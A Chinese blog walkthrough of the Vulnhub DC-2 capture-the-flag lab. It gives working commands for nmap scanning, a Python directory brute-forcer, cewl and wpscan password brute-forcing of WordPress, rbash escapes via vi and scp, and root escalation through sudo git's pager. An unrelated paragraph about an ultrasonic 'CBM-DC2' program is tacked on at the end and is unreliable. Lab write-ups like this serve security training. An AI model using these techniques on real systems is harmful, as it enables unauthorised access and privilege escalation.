Vulnhub靶场案例渗透[3]- DC2

DC:2 靶场渗透记录
靶场源地址

靶场环境搭建

在源地址处点击箭头所指连接下载

1727640426394.png

下载文件之后,检查下文MD5值,检查下载文件是否被篡改.

# windwos 命令
Get-FileHash <filePath> -Algorithm MD5
# linux
md5sum filepath

解压下载zip文件,使用vmware打开靶场的ova文件.。

ova 文件是虚拟机的标准打包格式,方便在不同虚拟化平台之间传输和部署。它可以轻松导入到流行的虚拟机管理工具中,如 VMware 和 VirtualBox。可以简单理解为一个跨平台虚拟机镜像文件。

1727640713451.png

信息收集

靶机环境搭建完成之后,接下来我们需要进行靶机的ip、端口、服务信息收集。

确定靶机ip

  • 查看虚拟机网络适配器设置,确定靶机所在的ip网段。发现为桥接模式.由此可以确定虚拟机的网段虚拟机的 IP 地址分配与宿主机所在的网络环境直接相关,虚拟机会像一个独立的物理机器一样连接到同一个网络

1727641104627.png

  • 我的主机的ip是 192.168.6.102,接下使用nmap 扫描目的网段的存活主机
namp -sn 本机ip/24

1727641569206.png

  • 知道目标网段存活主机,通过排除法确定靶机ip。
    • 192.168.6.1: 网关ip
    • 192.168.6.104: windows宿主机ip
    • 192.168.6.109: kali攻击机ip

确定靶机ip为192.168.6.108

开发端口、端口对应服务信息搜集

使用nmap对靶机进行端口和服务探测.

nmap -A -p 1-65535 192.168.6.108

1727641780434.png

  • 80端口: http服务
  • 7744端口: 远程ssh服务

渗透过程

web端

打开网址http://靶机ip, 访问之后,返回码为301,自动重定向到http://dc-2。推测网站只接收url的域名为dc-2的请求

1727642077214.png

修改/etc/hosts文件,将靶机ip和dc-2域名绑定。"192.168.6.108 dc-2"添加到/etc/hosts末尾。重新访问,成功打开,发现flag1.

1727642392047.png

Flag 1:
Your usual wordlists probably won’t work, so instead, maybe you just need to be cewl.
More passwords is always better, but sometimes you just can’t win them all.
Log in as one to see the next flag.
If you can’t find it, log in as another.

提示大意:
你通常的字典可能不起作用,相反,你可能只需要使用cewl
密码越多越好,但有时你就是无法赢得所有的密码。
以一个人的身份登录以查看下一个标志。
如果找不到,请以另一个用户登录。

可以收集到的信息:

  • 网站使用是开源框架wordpress
  • 以及cewl工具

目录扫描

  1. 使用python代码 + 字典对目标网址进行目标爆破扫描
import queue  
import requests  
import threading  
import urllib3  
  
  
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)  
  
AGENT = "Mozilla/5.0 (X11; Linux x86_64; rv:19.0)Gecko/20100101 Firefox/19.0"  
# EXTENSIONS = ['.php', '.bak', '.orig', '.inc']  
TARGET = "http://dc-2"  
THREADS = 8  
WORDLIST = "./all.txt"  
  
words = queue.Queue  
  
"""  
读取字典文件,生成扫描内容  
"""  
def get_words(resume=None):  
    words = queue.Queue()  
  
    def extend_words(word):  
        if "." in word:  
            words.put(f"/{word}")  
        else:  
            words.put(f"/{word}/")  
        # for extension in EXTENSIONS:  
        #     words.put(f"/{word}{extension}")  
    with open(WORDLIST) as f:  
        raw_words = f.read()  
  
    found_resume = False  
  
    for word in raw_words.split():  
        if resume is not None:  
            if found_resume:  
                extend_words(word)  
            elif word == resume:  
                found_resume = True  
        else:  
            extend_words(word)  
    return words  
  
"""  
暴力扫描  
"""  
def dir_bruter(words):  
    headers = {"User-Agent":AGENT}  
    session = requests.Session()  
    session.verify = False  
    session.get(TARGET, headers = headers)  
    while not words.empty():  
        url = f"{TARGET}{words.get()}"  
        try:  
            r = session.get(url)  
        except requests.exceptions.ConnectionError as e:  
            # print(e)  
            continue  
        if r.status_code != 404:  
            print(url)  
  
if __name__ == "__main__":  
    words = get_words()  
    for _ in range(THREADS):  
        t = threading.Thread(target=dir_bruter, args=(words,))  
        t.start()
  1. 使用kali工具dirsearch进行目标扫描.
dirsearch -u http://dc-2/ -x 403 404
-u :目标网址
-x :过滤状态码

1727643319249.png

可以获取目标网站的登录地址http://dc-2/wp-login.php

web用户名和密码获取

通过上面flag1的提示和网站所使用模板框架,谷歌搜索相关知识,发现可以使用cewlwpscan进行用户和密码获取。

cewl介绍:是一个用于生成自定义单词列表的命令行工具,常用于密码字典生成和渗透测试。它通过抓取网站内容并提取出单词,来创建一个基于目标网站的定制化字典。这在针对目标进行字典攻击时尤其有用,因为可以生成与目标相关的单词列表。

# 基本使用方式
cewl http://example.com
#常用参数解析
-d: 设置抓取的深度
-w: 将生成的单词存入到文件
-m: 设置单词的最小长度
-u: 提供登录凭证(用户名、密码),抓取认证的网站
# 抓取靶机内容,获取密码字典
cewl http://dc-2 -w 123.txt

WPScan 是一个专门用于扫描和检测 WordPress 网站漏洞的安全工具。WPScan 能够枚举出 WordPress 站点中的用户名,从而帮助识别潜在的暴力破解攻击目标。

# 基本使用方法
wpscan --url http://example.com
# 常用参数解析
--enumerate p: 枚举插件
--enumerate u: 枚举用户名
--passwords: 指定用于暴力破解的密码字典
# 使用wpscan枚举用户名,并利用cewl生成的密码字典
wpscan --url http://dc-2 --enumerate u --passwords 123.txt

1727645326117.png
成功获取目标系统存在的用户和密码,进行登录。

登录jerry后发现flag2
1727645429390.png
1727645469758.png

Flag 2:

If you can't exploit WordPress and take a shortcut, there is another way.
Hope you found another entry point.

大意:
如果你不能利用WordPress并走捷径,还有另一种方法。
希望你找到了另一个入口。

提示我们使用另一个入口进行渗透,这是我们可以想到使用7744的ssh端口路径。

ssh

使用之前获取到的tom、jerry密码进行ssh登录。发现tom可以成功登录,jerry用户权限不够,不可以进行ssh登录.tom登录成功后在家目录下发现,flag3,使用vi查看flag3的内容。

1727645864015.png
1727645883582.png

flag3
Poor old Tom is always running after Jerry. Perhaps he should su for all the stress he causes.

在进一步,在tom的shell中执行命令发现收到rbash的限制的命令使用,首先需要解决这个限制。

rbash绕过

查看用户可以使用的命令

ls usr/bin

1727652757521.png
发现可以使用的命令有:

  • less
  • ls
  • scp
  • vi
rbash借助vi进行绕过
vi 
# 在vi中执行
:shell = /usr/bash
:shell
# 切换完成之后还要添加环境变量。给$PATH变量增加两个路径,用来查找命令 export PATH=$PATH:/bin/ 
export PATH=$PATH:/usr/bin/
rbash借助scp绕过:

直接执行/bin/bash就可以绕过rbash限制,目前被禁止了。~/usr/bin是rbash中用户被允许执行的命令。直接scp将靶机中/bin/bash 复制到~/usr/bin就可以绕过了

# 复制
scp -P 7744 tom@192.168.6.108:/bin/bash ./usr/bin/
# 执行bash,绕过rbash限制
bash
# 切换完成之后还要添加环境变量。给$PATH变量增加两个路径,用来查找命令 
export PATH=$PATH:/bin/ 
export PATH=$PATH:/usr/bin/

新开启的终端不受rbash限制,切换到jerry用户(之前远程连接,已经确认密码就是web登录的密码),成功登录并且获取到flag4
1727648825231.png

flag4
ood to see that you've made it this far - but you're not home yet.
You still need to get the final flag (the only flag that really counts!!!).
No hints here - you're on your own now.  :-)
Go on - git outta here!!!!

权限提升

从flag4中得到提示获取最终flag和git相关

# 查看当前用户可以使用sudo执行的命令,发现git命令就是
sudo -l

解释:sudo -l 命令用于显示当前用户在系统上有哪些基于 sudo 的权限,也就是用户可以在使用 sudo 时运行哪些命令。它可以帮助用户了解自己是否具备执行某些需要提升权限的操作的权限,而无需直接尝试使用 sudo 执行命令。

git具备sudo的权限,尝试使用git进行提权。

sudo git  help config
!/bin/bash

git help config,会打开一个分词器(less)。分页器提供的功能,允许你暂时中断查看文档,执行外部命令,然后返回分页器。所以可以在其中执行!/bin/bash打开一个新的终端,进行权限提升。

成功提权,获取到最终flag
1727649320358.png

1727649347113.png

CBM-DC2超声波程序是一种基于超声波技术的测量程序。CBM是嵌入式系统名称,DC2则表示第二代设备。该程序主要应用于测量距离、检测物体的位置、识别物体的形状等方面。 CBM-DC2超声波程序的工作原理是通过超声波发射器发射超声波信号,然后接收器接收到被物体反射后的声波信号。通过计算发射与接收之间的时间差,并结合声速的知识,可以准确地测量出被测物体与传感器之间的距离。这种测量方法具有非接触、快速、准确等优点,因此广泛应用于各个领域。 CBM-DC2超声波程序可以用于测量物体的距离。通过将传感器安装在测量物体附近,即可实时测量物体与传感器之间的距离。比如在机械领域中,可以用来检测机械设备中零件的位置和间距,以及机器人中的障碍物位置,可广泛应用于自动化生产线中。 此外,CBM-DC2超声波程序还可以用于检测物体的位置。通过分析声波信号的强弱或回波的时间差,可以确定物体在空间中的位置。这在自动驾驶领域中具有重要意义,可以用于检测周围车辆、行人或其他障碍物的位置和距离,以保证交通安全。 最后,CBM-DC2超声波程序还能用于识别物体的形状。通过分析声波信号的回波,可以获得物体的轮廓和形状信息。这在制造业中具有广泛的应用,可以用于产品检测、零件测量等,以提高生产效率和质量管理水平。 总之,CBM-DC2超声波程序是一种基于超声波技术的测量程序,可以应用于测量距离、检测物体位置和识别物体形状等多个领域,具有非接触、快速、准确等优点,在各个领域中发挥着重要作用。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值